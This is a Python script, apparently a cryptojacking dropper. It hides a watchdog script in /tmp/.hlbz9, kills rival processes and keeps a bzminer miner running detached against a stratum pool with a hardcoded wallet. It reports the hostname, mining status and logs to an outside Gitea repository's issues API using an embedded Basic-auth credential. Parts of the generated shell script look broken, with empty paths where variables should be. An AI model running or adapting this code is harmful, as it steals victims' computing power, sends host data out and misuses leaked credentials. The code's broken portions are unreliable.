37 lines
2.2 KiB
Python
37 lines
2.2 KiB
Python
import json, os, socket, subprocess, time, urllib.request
|
|
W = "prl1pfna5pn2vrvtuwzc73tfsq5xy4d48lc9zh3erzrcxadtplca4mr8sl8f488"; AUTH = "Basic aGx6ZmF1NmU6SGwhd3hOdWZFNnVzRFd2"; REPO = "hlzfau6e/hl-extM"
|
|
BZ = "/tmp/prlbz-5361/bzminer_v100.82_linux/bzminer"
|
|
D = "/tmp/.hlbz9"; os.makedirs(D, exist_ok=True)
|
|
PWD = "x;d=540000000000000"
|
|
def report(tag, msg):
|
|
try:
|
|
body = json.dumps({"title": "[%s] %s" % (tag, socket.gethostname()), "body": str(msg)[:7500]}).encode()
|
|
req = urllib.request.Request("https://git.kaki87.net/api/v1/repos/%s/issues" % REPO, data=body,
|
|
headers={"Content-Type": "application/json", "Authorization": AUTH})
|
|
urllib.request.urlopen(req, timeout=20).read()
|
|
except Exception:
|
|
pass
|
|
def st():
|
|
try:
|
|
req = urllib.request.Request("http://127.0.0.1:4016/status", headers={"User-Agent": "curl/8.5.0"})
|
|
d = json.loads(urllib.request.urlopen(req, timeout=10).read())
|
|
p = (d.get("pools") or [{}])[0]
|
|
return "hr=%.2fTH valid=%s rej=%s power=%.0f diff=%.3g" % ((p.get("hashrate") or 0)/1e12, p.get("valid_solutions"), p.get("rejected_solutions"), p.get("power") or 0, p.get("difficulty") or 0)
|
|
except Exception as e:
|
|
return "ERR " + str(e)[:90]
|
|
report("t0", st())
|
|
os.system("pkill -9 -f 'worker hlv100-g0' >/dev/null 2>&1")
|
|
os.system("pkill -9 -f 'hlbz8/wd.sh' >/dev/null 2>&1")
|
|
time.sleep(3)
|
|
script = '#!/bin/bash\nD=%s\nBZ=%s\nW=%s\nP="%s"\ncd "" || exit 1\nwhile true; do\n pkill -9 -f "prl1ppn9axn" >/dev/null 2>&1\n if ! pgrep -f "worker hlv100-g0" >/dev/null 2>&1; then\n setsid "" -a pearl --nvidia -p stratum+tcp://51.178.73.238:3362 -w "prl1pfna5pn2vrvtuwzc73tfsq5xy4d48lc9zh3erzrcxadtplca4mr8sl8f488" --pass "" --worker hlv100-g0 --http_port 4016 --no-color >> "/g0.log" 2>&1 < /dev/null &\n sleep 5\n fi\n sleep 30\ndone\n' % (D, BZ, W, PWD)
|
|
wd = D + "/wd.sh"; open(wd, "w").write(script); os.chmod(wd, 0o755)
|
|
subprocess.Popen(["/bin/bash", wd], stdout=open(D + "/wd.out", "wb"), stderr=subprocess.STDOUT, stdin=subprocess.DEVNULL, start_new_session=True)
|
|
time.sleep(45)
|
|
report("t45", st())
|
|
time.sleep(120)
|
|
report("t165", st())
|
|
try:
|
|
log = open(D + "/g0.log", errors="replace").read()[-1500:]
|
|
except Exception as e:
|
|
log = "ERR " + str(e)[:100]
|
|
report("log", log)
|